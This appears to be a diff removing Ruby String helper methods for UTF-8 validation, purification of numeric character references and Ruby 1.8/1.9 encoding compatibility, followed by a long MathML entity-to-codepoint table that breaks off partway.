-# Return the number of unicode characters in a string
-#
-# :call-seq:
-#    string.num_chars    -> integer
-#
-# Because Rails 2.3.5's String#mb_chars.length is broken,
-# we provide this method.
-#--
-if "".respond_to?(:force_encoding)
-  def num_chars
-    length
-  end
-else
-  def num_chars
-    unpack('U*').length
-  end
-end
-
-#++
-# A method to allow byte-oriented operations in both Ruby 1.8 and Ruby 1.9
-#
-# :call-seq:
-#    string.to_utf_8 -> string (with the encoding set to "ASCII-8BIT")
-#
-# Under 1.8, this is a NOOP. Under 1.9, it sets the encoding to "ASCII-8BIT"
-#--
-if "".respond_to?(:force_encoding)
-  def as_bytes
-    force_encoding("ASCII-8BIT")
-  end
-else
-  def as_bytes
-    self
-  end
-end
-
-#++
-# A method to allow string-oriented operations in both Ruby 1.8 and Ruby 1.9
-#
-# :call-seq:
-#    string.to_utf_8 -> string (with the encoding set to "UTF-8")
-#
-# Under 1.8, this is a NOOP. Under 1.9, it sets the encoding to "UTF-8"
-#--
-if "".respond_to?(:force_encoding)
-  def as_utf8
-    force_encoding("UTF-8")
-  end
-else
-  def as_utf8
-    self
-  end
-end
-
-#++
-# Take a string, and remove any invalid substrings, returning a valid utf-8 string.
-#
-# :call-seq:
-#    string.purify    -> new_string
-#
-# returns a valid utf-8 string, purged of any subsequences of illegal bytes.
-#--
-if "".respond_to?(:force_encoding)
-  def purify
-    text = self.dup.check_ncrs.as_utf8
-    text.chars.collect{|c| c.as_bytes}.grep(UTF8_REGEX).join.as_utf8
-  end
-else
-  def purify
-    text = check_ncrs
-    text.split(//u).grep(UTF8_REGEX).join
-  end
-end
-
-  def check_ncrs
-    text = gsub(/&#[xX]([a-fA-F0-9]+);/) { |m| [$1.hex].pack('U*').as_bytes =~ UTF8_REGEX ? m : '' }
-    text.gsub(/&#(\d+);/) { |m| [$1.to_i].pack('U*').as_bytes =~ UTF8_REGEX ? m : '' }
-  end
-
-  UTF8_REGEX = /\A(
-         [\x09\x0A\x0D\x20-\x7E]            # ASCII
-       | [\xC2-\xDF][\x80-\xBF]             # non-overlong 2-byte
-       |  \xE0[\xA0-\xBF][\x80-\xBF]        # excluding overlongs
-       | [\xE1-\xEC\xEE][\x80-\xBF]{2}      # straight 3-byte
-       |  \xEF[\x80-\xBE]{2}                # 
-       |  \xEF\xBF[\x80-\xBD]               # excluding U+fffe and U+ffff
-       |  \xED[\x80-\x9F][\x80-\xBF]        # excluding surrogates
-       |  \xF0[\x90-\xBF][\x80-\xBF]{2}     # planes 1-3
-       | [\xF1-\xF3][\x80-\xBF]{3}          # planes 4-15
-       |  \xF4[\x80-\x8F][\x80-\xBF]{2}     # plane 16
-     )*\Z/nx;
-#++
-     
-# Check whether a string is valid utf-8
-#
-# :call-seq:
-#    string.is_utf8?    -> boolean
-#
-# returns true if the sequence of bytes in string is valid utf-8
-#--
-   def is_utf8?
-     #expand NCRs to utf-8
-     text = self.check_ncrs.as_bytes
-     
-     # You might think this is faster, but it isn't
-     #pieces = self.split(/&#[xX]([a-fA-F0-9]+);/)
-     #1.step(pieces.length-1, 2) {|i| pieces[i] = [pieces[i].hex].pack('U*')}
-     #pieces = pieces.join.split(/&#(\d+);/)
-     #1.step(pieces.length-1, 2) {|i| pieces[i] = [pieces[i].to_i].pack('U*')}
-     #text = pieces.join
-          
-     #ensure the resulting string of bytes is valid utf-8
-     text =~ UTF8_REGEX
-   end
-
-#:stopdoc: 
-
-  def blank?
-    self.dup.as_bytes !~ /\S/
-  end
-
-  MATHML_ENTITIES = {
-	'Alpha' => '&#x0391;',
-	'Beta' => '&#x0392;',
-	'Epsilon' => '&#x0395;',
-	'Zeta' => '&#x0396;',
-	'Eta' => '&#x0397;',
-	'Iota' => '&#x0399;',
-	'Kappa' => '&#x039A;',
-	'Mu' => '&#x039C;',
-	'Nu' => '&#x039D;',
-	'Omicron' => '&#x039F;',
-	'Rho' => '&#x03A1;',
-	'Tau' => '&#x03A4;',
-	'Chi' => '&#x03A7;',
-	'epsilon' => '&#x03B5;',
-	'zeta' => '&#x03B6;',
-	'omicron' => '&#x03BF;',
-	'sigmaf' => '&#x03C2;',
-	'thetasym' => '&#x03D1;',
-	'upsih' => '&#x03D2;',
-	'oline' => '&#x203E;',
-	'frasl' => '&#x2044;',
-	'alefsym' => '&#x2135;',
-	'crarr' => '&#x21B5;',
-	'empty' => '&#x2205;',
-	'amp' => '&#x0026;',
-	'lt' => '&#x003C;',
-	'zwnj' => '&#x200C;',
-	'zwj' => '&#x200D;',
-	'lrm' => '&#x200E;',
-	'rlm' => '&#x200F;',
-	'sbquo' => '&#x201A;',
-	'bdquo' => '&#x201E;',
-	'lsaquo' => '&#x2039;',
-	'rsaquo' => '&#x203A;',
-	'euro' => '&#x20AC;',
-	'angzarr' => '&#x0237C;',
-	'cirmid' => '&#x02AEF;',
-	'cudarrl' => '&#x02938;',
-	'cudarrr' => '&#x02935;',
-	'cularr' => '&#x021B6;',
-	'cularrp' => '&#x0293D;',
-	'curarr' => '&#x021B7;',
-	'curarrm' => '&#x0293C;',
-	'Darr' => '&#x021A1;',
-	'dArr' => '&#x021D3;',
-	'ddarr' => '&#x021CA;',
-	'DDotrahd' => '&#x02911;',
-	'dfisht' => '&#x0297F;',
-	'dHar' => '&#x02965;',
-	'dharl' => '&#x021C3;',
-	'dharr' => '&#x021C2;',
-	'duarr' => '&#x021F5;',
-	'duhar' => '&#x0296F;',
-	'dzigrarr' => '&#x027FF;',
-	'erarr' => '&#x02971;',
-	'hArr' => '&#x021D4;',
-	'harr' => '&#x02194;',
-	'harrcir' => '&#x02948;',
-	'harrw' => '&#x021AD;',
-	'hoarr' => '&#x021FF;',
-	'imof' => '&#x022B7;',
-	'lAarr' => '&#x021DA;',
-	'Larr' => '&#x0219E;',
-	'larrbfs' => '&#x0291F;',
-	'larrfs' => '&#x0291D;',
-	'larrhk' => '&#x021A9;',
-	'larrlp' => '&#x021AB;',
-	'larrpl' => '&#x02939;',
-	'larrsim' => '&#x02973;',
-	'larrtl' => '&#x021A2;',
-	'lAtail' => '&#x0291B;',
-	'latail' => '&#x02919;',
-	'lBarr' => '&#x0290E;',
-	'lbarr' => '&#x0290C;',
-	'ldca' => '&#x02936;',
-	'ldrdhar' => '&#x02967;',
-	'ldrushar' => '&#x0294B;',
-	'ldsh' => '&#x021B2;',
-	'lfisht' => '&#x0297C;',
-	'lHar' => '&#x02962;',
-	'lhard' => '&#x021BD;',
-	'lharu' => '&#x021BC;',
-	'lharul' => '&#x0296A;',
-	'llarr' => '&#x021C7;',
-	'llhard' => '&#x0296B;',
-	'loarr' => '&#x021FD;',
-	'lrarr' => '&#x021C6;',
-	'lrhar' => '&#x021CB;',
-	'lrhard' => '&#x0296D;',
-	'lsh' => '&#x021B0;',
-	'lurdshar' => '&#x0294A;',
-	'luruhar' => '&#x02966;',
-	'Map' => '&#x02905;',
-	'map' => '&#x021A6;',
-	'midcir' => '&#x02AF0;',
-	'mumap' => '&#x022B8;',
-	'nearhk' => '&#x02924;',
-	'neArr' => '&#x021D7;',
-	'nearr' => '&#x02197;',
-	'nesear' => '&#x02928;',
-	'nhArr' => '&#x021CE;',
-	'nharr' => '&#x021AE;',
-	'nlArr' => '&#x021CD;',
-	'nlarr' => '&#x0219A;',
-	'nrArr' => '&#x021CF;',
-	'nrarr' => '&#x0219B;',
-	'nrarrc' => '&#x02933;&#x00338;',
-	'nrarrw' => '&#x0219D;&#x00338;',
-	'nvHarr' => '&#x02904;',
-	'nvlArr' => '&#x02902;',
-	'nvrArr' => '&#x02903;',
-	'nwarhk' => '&#x02923;',
-	'nwArr' => '&#x021D6;',
-	'nwarr' => '&#x02196;',
-	'nwnear' => '&#x02927;',
-	'olarr' => '&#x021BA;',
-	'orarr' => '&#x021BB;',
-	'origof' => '&#x022B6;',
-	'rAarr' => '&#x021DB;',
-	'Rarr' => '&#x021A0;',
-	'rarrap' => '&#x02975;',
-	'rarrbfs' => '&#x02920;',
-	'rarrc' => '&#x02933;',
-	'rarrfs' => '&#x0291E;',
-	'rarrhk' => '&#x021AA;',
-	'rarrlp' => '&#x021AC;',
-	'rarrpl' => '&#x02945;',
-	'rarrsim' => '&#x02974;',
-	'Rarrtl' => '&#x02916;',
-	'rarrtl' => '&#x021A3;',
-	'rarrw' => '&#x0219D;',
-	'rAtail' => '&#x0291C;',
-	'ratail' => '&#x0291A;',
-	'RBarr' => '&#x02910;',
-	'rBarr' => '&#x0290F;',
-	'rbarr' => '&#x0290D;',
-	'rdca' => '&#x02937;',
-	'rdldhar' => '&#x02969;',
-	'rdsh' => '&#x021B3;',
-	'rfisht' => '&#x0297D;',
-	'rHar' => '&#x02964;',
-	'rhard' => '&#x021C1;',
-	'rharu' => '&#x021C0;',
-	'rharul' => '&#x0296C;',
-	'rlarr' => '&#x021C4;',
-	'rlhar' => '&#x021CC;',
-	'roarr' => '&#x021FE;',
-	'rrarr' => '&#x021C9;',
-	'rsh' => '&#x021B1;',
-	'ruluhar' => '&#x02968;',
-	'searhk' => '&#x02925;',
-	'seArr' => '&#x021D8;',
-	'searr' => '&#x02198;',
-	'seswar' => '&#x02929;',
-	'simrarr' => '&#x02972;',
-	'slarr' => '&#x02190;',
-	'srarr' => '&#x02192;',
-	'swarhk' => '&#x02926;',
-	'swArr' => '&#x021D9;',
-	'swarr' => '&#x02199;',
-	'swnwar' => '&#x0292A;',
-	'Uarr' => '&#x0219F;',
-	'uArr' => '&#x021D1;',
-	'Uarrocir' => '&#x02949;',
-	'udarr' => '&#x021C5;',
-	'udhar' => '&#x0296E;',
-	'ufisht' => '&#x0297E;',
-	'uHar' => '&#x02963;',
-	'uharl' => '&#x021BF;',
-	'uharr' => '&#x021BE;',
-	'uuarr' => '&#x021C8;',
-	'vArr' => '&#x021D5;',
-	'varr' => '&#x02195;',
-	'xhArr' => '&#x027FA;',
-	'xharr' => '&#x027F7;',
-	'xlArr' => '&#x027F8;',
-	'xlarr' => '&#x027F5;',
-	'xmap' => '&#x027FC;',
-	'xrArr' => '&#x027F9;',
-	'xrarr' => '&#x027F6;',
-	'zigrarr' => '&#x021DD;',
-	'ac' => '&#x0223E;',
-	'acE' => '&#x0223E;&#x00333;',
-	'amalg' => '&#x02A3F;',
-	'barvee' => '&#x022BD;',
-	'Barwed' => '&#x02306;',
-	'barwed' => '&#x02305;',
-	'bsolb' => '&#x029C5;',
-	'Cap' => '&#x022D2;',
-	'capand' => '&#x02A44;',
-	'capbrcup' => '&#x02A49;',
-	'capcap' => '&#x02A4B;',
-	'capcup' => '&#x02A47;',
-	'capdot' => '&#x02A40;',
-	'caps' => '&#x02229;&#x0FE00;',
-	'ccaps' => '&#x02A4D;',
-	'ccups' => '&#x02A4C;',
-	'ccupssm' => '&#x02A50;',
-	'coprod' => '&#x02210;',
-	'Cup' => '&#x022D3;',
-	'cupbrcap' => '&#x02A48;',
-	'cupcap' => '&#x02A46;',
-	'cupcup' => '&#x02A4A;',
-	'cupdot' => '&#x0228D;',
-	'cupor' => '&#x02A45;',
-	'cups' => '&#x0222A;&#x0FE00;',
-	'cuvee' => '&#x022CE;',
-	'cuwed' => '&#x022CF;',
-	'Dagger' => '&#x02021;',
-	'dagger' => '&#x02020;',
-	'diam' => '&#x022C4;',
-	'divonx' => '&#x022C7;',
-	'eplus' => '&#x02A71;',
-	'hercon' => '&#x022B9;',
-	'intcal' => '&#x022BA;',
-	'iprod' => '&#x02A3C;',
-	'loplus' => '&#x02A2D;',
-	'lotimes' => '&#x02A34;',
-	'lthree' => '&#x022CB;',
-	'ltimes' => '&#x022C9;',
-	'midast' => '&#x0002A;',
-	'minusb' => '&#x0229F;',
-	'minusd' => '&#x02238;',
-	'minusdu' => '&#x02A2A;',
-	'ncap' => '&#x02A43;',
-	'ncup' => '&#x02A42;',
-	'oast' => '&#x0229B;',
-	'ocir' => '&#x0229A;',
-	'odash' => '&#x0229D;',
-	'odiv' => '&#x02A38;',
-	'odot' => '&#x02299;',
-	'odsold' => '&#x029BC;',
-	'ofcir' => '&#x029BF;',
-	'ogt' => '&#x029C1;',
-	'ohbar' => '&#x029B5;',
-	'olcir' => '&#x029BE;',
-	'olt' => '&#x029C0;',
-	'omid' => '&#x029B6;',
-	'ominus' => '&#x02296;',
-	'opar' => '&#x029B7;',
-	'operp' => '&#x029B9;',
-	'oplus' => '&#x02295;',
-	'osol' => '&#x02298;',
-	'Otimes' => '&#x02A37;',
-	'otimes' => '&#x02297;',
-	'otimesas' => '&#x02A36;',
-	'ovbar' => '&#x0233D;',
-	'plusacir' => '&#x02A23;',
-	'plusb' => '&#x0229E;',
-	'pluscir' => '&#x02A22;',
-	'plusdo' => '&#x02214;',
-	'plusdu' => '&#x02A25;',
-	'pluse' => '&#x02A72;',
-	'plussim' => '&#x02A26;',
-	'plustwo' => '&#x02A27;',
-	'prod' => '&#x0220F;',
-	'race' => '&#x0223D;&#x0331;',
-	'roplus' => '&#x02A2E;',
-	'rotimes' => '&#x02A35;',
-	'rthree' => '&#x022CC;',
-	'rtimes' => '&#x022CA;',
-	'sdot' => '&#x022C5;',
-	'sdotb' => '&#x022A1;',
-	'setmn' => '&#x02216;',
-	'simplus' => '&#x02A24;',
-	'smashp' => '&#x02A33;',
-	'solb' => '&#x029C4;',
-	'sqcap' => '&#x02293;',
-	'sqcaps' => '&#x02293;&#x0FE00;',
-	'sqcup' => '&#x02294;',
-	'sqcups' => '&#x02294;&#x0FE00;',
-	'ssetmn' => '&#x02216;',
-	'sstarf' => '&#x022C6;',
-	'subdot' => '&#x02ABD;',
-	'sum' => '&#x02211;',
-	'supdot' => '&#x02ABE;',
-	'timesb' => '&#x022A0;',
-	'timesbar' => '&#x02A31;',
-	'timesd' => '&#x02A30;',
-	'tridot' => '&#x025EC;',
-	'triminus' => '&#x02A3A;',
-	'triplus' => '&#x02A39;',
-	'trisb' => '&#x029CD;',
-	'tritime' => '&#x02A3B;',
-	'uplus' => '&#x0228E;',
-	'veebar' => '&#x022BB;',
-	'wedbar' => '&#x02A5F;',
-	'wreath' => '&#x02240;',
-	'xcap' => '&#x022C2;',
-	'xcirc' => '&#x025EF;',
-	'xcup' => '&#x022C3;',
-	'xdtri' => '&#x025BD;',
-	'xodot' => '&#x02A00;',
-	'xoplus' => '&#x02A01;',
-	'xotime' => '&#x02A02;',
-	'xsqcup' => '&#x02A06;',
-	'xuplus' => '&#x02A04;',
-	'xutri' => '&#x025B3;',
-	'xvee' => '&#x022C1;',
-	'xwedge' => '&#x022C0;',
-	'dlcorn' => '&#x0231E;',
-	'drcorn' => '&#x0231F;',
-	'gtlPar' => '&#x02995;',
-	'langd' => '&#x02991;',
-	'lbrke' => '&#x0298B;',
-	'lbrksld' => '&#x0298F;',
-	'lbrkslu' => '&#x0298D;',
-	'lceil' => '&#x02308;',
-	'lfloor' => '&#x0230A;',
-	'lmoust' => '&#x023B0;',
-	'lparlt' => '&#x02993;',
-	'ltrPar' => '&#x02996;',
-	'rangd' => '&#x02992;',
-	'rbrke' => '&#x0298C;',
-	'rbrksld' => '&#x0298E;',
-	'rbrkslu' => '&#x02990;',
-	'rceil' => '&#x02309;',
-	'rfloor' => '&#x0230B;',
-	'rmoust' => '&#x023B1;',
-	'rpargt' => '&#x02994;',
-	'ulcorn' => '&#x0231C;',
-	'urcorn' => '&#x0231D;',
-	'gnap' => '&#x02A8A;',
-	'gnE' => '&#x02269;',
-	'gne' => '&#x02A88;',
-	'gnsim' => '&#x022E7;',
-	'gvnE' => '&#x02269;&#x0FE00;',
-	'lnap' => '&#x02A89;',
-	'lnE' => '&#x02268;',
-	'lne' => '&#x02A87;',
-	'lnsim' => '&#x022E6;',
-	'lvnE' => '&#x02268;&#x0FE00;',
-	'nap' => '&#x02249;',
-	'napE' => '&#x02A70;&#x00338;',
-	'napid' => '&#x0224B;&#x00338;',
-	'ncong' => '&#x02247;',
-	'ncongdot' => '&#x02A6D;&#x00338;',
-	'nequiv' => '&#x02262;',
-	'ngE' => '&#x02267;&#x00338;',
-	'nge' => '&#x02271;',
-	'nges' => '&#x02A7E;&#x00338;',
-	'nGg' => '&#x022D9;&#x00338;',
-	'ngsim' => '&#x02275;',
-	'nGt' => '&#x0226B;&#x020D2;',
-	'ngt' => '&#x0226F;',
-	'nGtv' => '&#x0226B;&#x00338;',
-	'nlE' => '&#x02266;&#x00338;',
-	'nle' => '&#x02270;',
-	'nles' => '&#x02A7D;&#x00338;',
-	'nLl' => '&#x022D8;&#x00338;',
-	'nlsim' => '&#x02274;',
-	'nLt' => '&#x0226A;&#x020D2;',
-	'nlt' => '&#x0226E;',
-	'nltri' => '&#x022EA;',
-	'nltrie' => '&#x022EC;',
-	'nLtv' => '&#x0226A;&#x00338;',
-	'nmid' => '&#x02224;',
-	'npar' => '&#x02226;',
-	'npr' => '&#x02280;',
-	'nprcue' => '&#x022E0;',
-	'npre' => '&#x02AAF;&#x00338;',
-	'nrtri' => '&#x022EB;',
-	'nrtrie' => '&#x022ED;',
-	'nsc' => '&#x02281;',
-	'nsccue' => '&#x022E1;',
-	'nsce' => '&#x02AB0;&#x00338;',
-	'nsim' => '&#x02241;',
-	'nsime' => '&#x02244;',
-	'nsmid' => '&#x02224;',
-	'nspar' => '&#x02226;',
-	'nsqsube' => '&#x022E2;',
-	'nsqsupe' => '&#x022E3;',
-	'nsub' => '&#x02284;',
-	'nsubE' => '&#x02AC5;&#x00338;',
-	'nsube' => '&#x02288;',
-	'nsup' => '&#x02285;',
-	'nsupE' => '&#x02AC6;&#x00338;',
-	'nsupe' => '&#x02289;',
-	'ntgl' => '&#x02279;',
-	'ntlg' => '&#x02278;',
-	'nvap' => '&#x0224D;&#x020D2;',
-	'nVDash' => '&#x022AF;',
-	'nVdash' => '&#x022AE;',
-	'nvDash' => '&#x022AD;',
-	'nvdash' => '&#x022AC;',
-	'nvge' => '&#x02265;&#x020D2;',
-	'nvgt' => '&#x0003E;&#x020D2;',
-	'nvle' => '&#x02264;&#x020D2;',
-	'nvltrie' => '&#x022B4;&#x020D2;',
-	'nvrtrie' => '&#x022B5;&#x020D2;',
-	'nvsim' => '&#x0223C;&#x020D2;',
-	'parsim' => '&#x02AF3;',
-	'prnap' => '&#x02AB9;',
-	'prnE' => '&#x02AB5;',
-	'prnsim' => '&#x022E8;',
-	'rnmid' => '&#x02AEE;',
-	'scnap' => '&#x02ABA;',
-	'scnE' => '&#x02AB6;',
-	'scnsim' => '&#x022E9;',
-	'simne' => '&#x02246;',
-	'solbar' => '&#x0233F;',
-	'subnE' => '&#x02ACB;',
-	'subne' => '&#x0228A;',
-	'supnE' => '&#x02ACC;',
-	'supne' => '&#x0228B;',
-	'vnsub' => '&#x02282;&#x020D2;',
-	'vnsup' => '&#x02283;&#x020D2;',
-	'vsubnE' => '&#x02ACB;&#x0FE00;',
-	'vsubne' => '&#x0228A;&#x0FE00;',
-	'vsupnE' => '&#x02ACC;&#x0FE00;',
-	'vsupne' => '&#x0228B;&#x0FE00;',
-	'ang' => '&#x02220;',
-	'ange' => '&#x029A4;',
-	'angmsd' => '&#x02221;',
-	'angmsdaa' => '&#x029A8;',
-	'angmsdab' => '&#x029A9;',
-	'angmsdac' => '&#x029AA;',
-	'angmsdad' => '&#x029AB;',
-	'angmsdae' => '&#x029AC;',
-	'angmsdaf' => '&#x029AD;',
-	'angmsdag' => '&#x029AE;',
-	'angmsdah' => '&#x029AF;',
-	'angrtvb' => '&#x022BE;',
-	'angrtvbd' => '&#x0299D;',
-	'bbrk' => '&#x023B5;',
-	'bbrktbrk' => '&#x023B6;',
-	'bemptyv' => '&#x029B0;',
-	'beth' => '&#x02136;',
-	'boxbox' => '&#x029C9;',
-	'bprime' => '&#x02035;',
-	'bsemi' => '&#x0204F;',
-	'cemptyv' => '&#x029B2;',
-	'cirE' => '&#x029C3;',
-	'cirscir' => '&#x029C2;',
-	'comp' => '&#x02201;',
-	'daleth' => '&#x02138;',
-	'demptyv' => '&#x029B1;',
-	'ell' => '&#x02113;',
-	'empty' => '&#x02205;',
-	'emptyv' => '&#x02205;',
-	'gimel' => '&#x02137;',
-	'iiota' => '&#x02129;',
-	'image' => '&#x02111;',
-	'imath' => '&#x00131;',
-	'jmath' => '&#x00237;',
-	'laemptyv' => '&#x029B4;',
-	'lltri' => '&#x025FA;',
-	'lrtri' => '&#x022BF;',
-	'mho' => '&#x02127;',
-	'nang' => '&#x02220;&#x020D2;',
-	'nexist' => '&#x02204;',
-	'oS' => '&#x024C8;',
-	'planck' => '&#x0210F;',
-	'plankv' => '&#x0210F;',
-	'raemptyv' => '&#x029B3;',
-	'range' => '&#x029A5;',
-	'real' => '&#x0211C;',
-	'tbrk' => '&#x023B4;',
-	'trpezium' => '&#x023E2;',
-	'ultri' => '&#x025F8;',
-	'urtri' => '&#x025F9;',
-	'vzigzag' => '&#x0299A;',
-	'weierp' => '&#x02118;',
-	'apE' => '&#x02A70;',
-	'ape' => '&#x0224A;',
-	'apid' => '&#x0224B;',
-	'asymp' => '&#x02248;',
-	'Barv' => '&#x02AE7;',
-	'bcong' => '&#x0224C;',
-	'bepsi' => '&#x003F6;',
-	'bowtie' => '&#x022C8;',
-	'bsim' => '&#x0223D;',
-	'bsime' => '&#x022CD;',
-	'bsolhsub' => '&#x27C8;',
-	'bump' => '&#x0224E;',
-	'bumpE' => '&#x02AAE;',
-	'bumpe' => '&#x0224F;',
-	'cire' => '&#x02257;',
-	'Colon' => '&#x02237;',
-	'Colone' => '&#x02A74;',
-	'colone' => '&#x02254;',
-	'congdot' => '&#x02A6D;',
-	'csub' => '&#x02ACF;',
-	'csube' => '&#x02AD1;',
-	'csup' => '&#x02AD0;',
-	'csupe' => '&#x02AD2;',
-	'cuepr' => '&#x022DE;',
-	'cuesc' => '&#x022DF;',
-	'Dashv' => '&#x02AE4;',
-	'dashv' => '&#x022A3;',
-	'easter' => '&#x02A6E;',
-	'ecir' => '&#x02256;',
-	'ecolon' => '&#x02255;',
-	'eDDot' => '&#x02A77;',
-	'eDot' => '&#x02251;',
-	'efDot' => '&#x02252;',
-	'eg' => '&#x02A9A;',
-	'egs' => '&#x02A96;',
-	'egsdot' => '&#x02A98;',
-	'el' => '&#x02A99;',
-	'els' => '&#x02A95;',
-	'elsdot' => '&#x02A97;',
-	'equest' => '&#x0225F;',
-	'equivDD' => '&#x02A78;',
-	'erDot' => '&#x02253;',
-	'esdot' => '&#x02250;',
-	'Esim' => '&#x02A73;',
-	'esim' => '&#x02242;',
-	'fork' => '&#x022D4;',
-	'forkv' => '&#x02AD9;',
-	'frown' => '&#x02322;',
-	'gap' => '&#x02A86;',
-	'gE' => '&#x02267;',
-	'gEl' => '&#x02A8C;',
-	'gel' => '&#x022DB;',
-	'ges' => '&#x02A7E;',
-	'gescc' => '&#x02AA9;',
-	'gesdot' => '&#x02A80;',
-	'gesdoto' => '&#x02A82;',
-	'gesdotol' => '&#x02A84;',
-	'gesl' => '&#x022DB;&#x0FE00;',
-	'gesles' => '&#x02A94;',
-	'Gg' => '&#x022D9;',
-	'gl' => '&#x02277;',
-	'gla' => '&#x02AA5;',
-	'glE' => '&#x02A92;',
-	'glj' => '&#x02AA4;',
-	'gsim' => '&#x02273;',
-	'gsime' => '&#x02A8E;',
-	'gsiml' => '&#x02A90;',
-	'Gt' => '&#x0226B;',
-	'gtcc' => '&#x02AA7;',
-	'gtcir' => '&#x02A7A;',
-	'gtdot' => '&#x022D7;',
-	'gtquest' => '&#x02A7C;',
-	'gtrarr' => '&#x02978;',
-	'homtht' => '&#x0223B;',
-	'lap' => '&#x02A85;',
-	'lat' => '&#x02AAB;',
-	'late' => '&#x02AAD;',
-	'lates' => '&#x02AAD;&#x0FE00;',
-	'lE' => '&#x02266;',
-	'lEg' => '&#x02A8B;',
-	'leg' => '&#x022DA;',
-	'les' => '&#x02A7D;',
-	'lescc' => '&#x02AA8;',
-	'lesdot' => '&#x02A7F;',
-	'lesdoto' => '&#x02A81;',
-	'lesdotor' => '&#x02A83;',
-	'lesg' => '&#x022DA;&#x0FE00;',
-	'lesges' => '&#x02A93;',
-	'lg' => '&#x02276;',
-	'lgE' => '&#x02A91;',
-	'Ll' => '&#x022D8;',
-	'lsim' => '&#x02272;',
-	'lsime' => '&#x02A8D;',
-	'lsimg' => '&#x02A8F;',
-	'Lt' => '&#x0226A;',
-	'ltcc' => '&#x02AA6;',
-	'ltcir' => '&#x02A79;',
-	'ltdot' => '&#x022D6;',
-	'ltlarr' => '&#x02976;',
-	'ltquest' => '&#x02A7B;',
-	'ltrie' => '&#x022B4;',
-	'mcomma' => '&#x02A29;',
-	'mDDot' => '&#x0223A;',
-	'mid' => '&#x02223;',
-	'mlcp' => '&#x02ADB;',
-	'models' => '&#x022A7;',
-	'mstpos' => '&#x0223E;',
-	'Pr' => '&#x02ABB;',
-	'pr' => '&#x0227A;',
-	'prap' => '&#x02AB7;',
-	'prcue' => '&#x0227C;',
-	'prE' => '&#x02AB3;',
-	'pre' => '&#x02AAF;',
-	'prsim' => '&#x0227E;',
-	'prurel' => '&#x022B0;',
-	'ratio' => '&#x02236;',
-	'rtrie' => '&#x022B5;',
-	'rtriltri' => '&#x029CE;',
-	'Sc' => '&#x02ABC;',
-	'sc' => '&#x0227B;',
-	'scap' => '&#x02AB8;',
-	'sccue' => '&#x0227D;',
-	'scE' => '&#x02AB4;',
-	'sce' => '&#x02AB0;',
-	'scsim' => '&#x0227F;',
-	'sdote' => '&#x02A66;',
-	'sfrown' => '&#x02322;',
-	'simg' => '&#x02A9E;',
-	'simgE' => '&#x02AA0;',
-	'siml' => '&#x02A9D;',
-	'simlE' => '&#x02A9F;',
-	'smid' => '&#x02223;',
-	'smile' => '&#x02323;',
-	'smt' => '&#x02AAA;',
-	'smte' => '&#x02AAC;',
-	'smtes' => '&#x02AAC;&#x0FE00;',
-	'spar' => '&#x02225;',
-	'sqsub' => '&#x0228F;',
-	'sqsube' => '&#x02291;',
-	'sqsup' => '&#x02290;',
-	'sqsupe' => '&#x02292;',
-	'ssmile' => '&#x02323;',
-	'Sub' => '&#x022D0;',
-	'subE' => '&#x02AC5;',
-	'subedot' => '&#x02AC3;',
-	'submult' => '&#x02AC1;',
-	'subplus' => '&#x02ABF;',
-	'subrarr' => '&#x02979;',
-	'subsim' => '&#x02AC7;',
-	'subsub' => '&#x02AD5;',
-	'subsup' => '&#x02AD3;',
-	'Sup' => '&#x022D1;',
-	'supdsub' => '&#x02AD8;',
-	'supE' => '&#x02AC6;',
-	'supedot' => '&#x02AC4;',
-	'suphsol' => '&#x027C9;',
-	'suphsub' => '&#x02AD7;',
-	'suplarr' => '&#x0297B;',
-	'supmult' => '&#x02AC2;',
-	'supplus' => '&#x02AC0;',
-	'supsim' => '&#x02AC8;',
-	'supsub' => '&#x02AD4;',
-	'supsup' => '&#x02AD6;',
-	'thkap' => '&#x02248;',
-	'thksim' => '&#x0223C;',
-	'topfork' => '&#x02ADA;',
-	'trie' => '&#x0225C;',
-	'twixt' => '&#x0226C;',
-	'Vbar' => '&#x02AEB;',
-	'vBar' => '&#x02AE8;',
-	'vBarv' => '&#x02AE9;',
-	'VDash' => '&#x022AB;',
-	'Vdash' => '&#x022A9;',
-	'vDash' => '&#x022A8;',
-	'vdash' => '&#x022A2;',
-	'Vdashl' => '&#x02AE6;',
-	'vltri' => '&#x022B2;',
-	'vprop' => '&#x0221D;',
-	'vrtri' => '&#x022B3;',
-	'Vvdash' => '&#x022AA;',
-	'alpha' => '&#x003B1;',
-	'beta' => '&#x003B2;',
-	'chi' => '&#x003C7;',
-	'Delta' => '&#x00394;',
-	'delta' => '&#x003B4;',
-	'epsi' => '&#x003F5;',
-	'epsiv' => '&#x003F5;',
-	'eta' => '&#x003B7;',
-	'Gamma' => '&#x00393;',
-	'gamma' => '&#x003B3;',
-	'Gammad' => '&#x003DC;',
-	'gammad' => '&#x003DD;',
-	'iota' => '&#x003B9;',
-	'kappa' => '&#x003BA;',
-	'kappav' => '&#x003F0;',
-	'Lambda' => '&#x0039B;',
-	'lambda' => '&#x003BB;',
-	'mu' => '&#x003BC;',
-	'nu' => '&#x003BD;',
-	'Omega' => '&#x003A9;',
-	'omega' => '&#x003C9;',
-	'phgr' => '&#x003C6;',
-	'Phi' => '&#x003A6;',
-	'phi' => '&#x003C6;',
-	'phis' => '&#x003D5;',
-	'phiv' => '&#x003D5;',
-	'Pi' => '&#x003A0;',
-	'pi' => '&#x003C0;',
-	'piv' => '&#x003D6;',
-	'Psi' => '&#x003A8;',
-	'psi' => '&#x003C8;',
-	'rho' => '&#x003C1;',
-	'rhov' => '&#x003F1;',
-	'Sigma' => '&#x003A3;',
-	'sigma' => '&#x003C3;',
-	'sigmav' => '&#x003C2;',
-	'tau' => '&#x003C4;',
-	'Theta' => '&#x00398;',
-	'theta' => '&#x003B8;',
-	'thetav' => '&#x003D1;',
-	'Upsi' => '&#x003D2;',
-	'upsi' => '&#x003C5;',
-	'Xi' => '&#x0039E;',
-	'xi' => '&#x003BE;',
-	'zeta' => '&#x003B6;',
-	'Afr' => '&#x1D504;',
-	'afr' => '&#x1D51E;',
-	'Bfr' => '&#x1D505;',
-	'bfr' => '&#x1D51F;',
-	'Cfr' => '&#x0212D;',
-	'cfr' => '&#x1D520;',
-	'Dfr' => '&#x1D507;',
-	'dfr' => '&#x1D521;',
-	'Efr' => '&#x1D508;',
-	'efr' => '&#x1D522;',
-	'Ffr' => '&#x1D509;',
-	'ffr' => '&#x1D523;',
-	'Gfr' => '&#x1D50A;',
-	'gfr' => '&#x1D524;',
-	'Hfr' => '&#x0210C;',
-	'hfr' => '&#x1D525;',
-	'Ifr' => '&#x02111;',
-	'ifr' => '&#x1D526;',
-	'Jfr' => '&#x1D50D;',
-	'jfr' => '&#x1D527;',
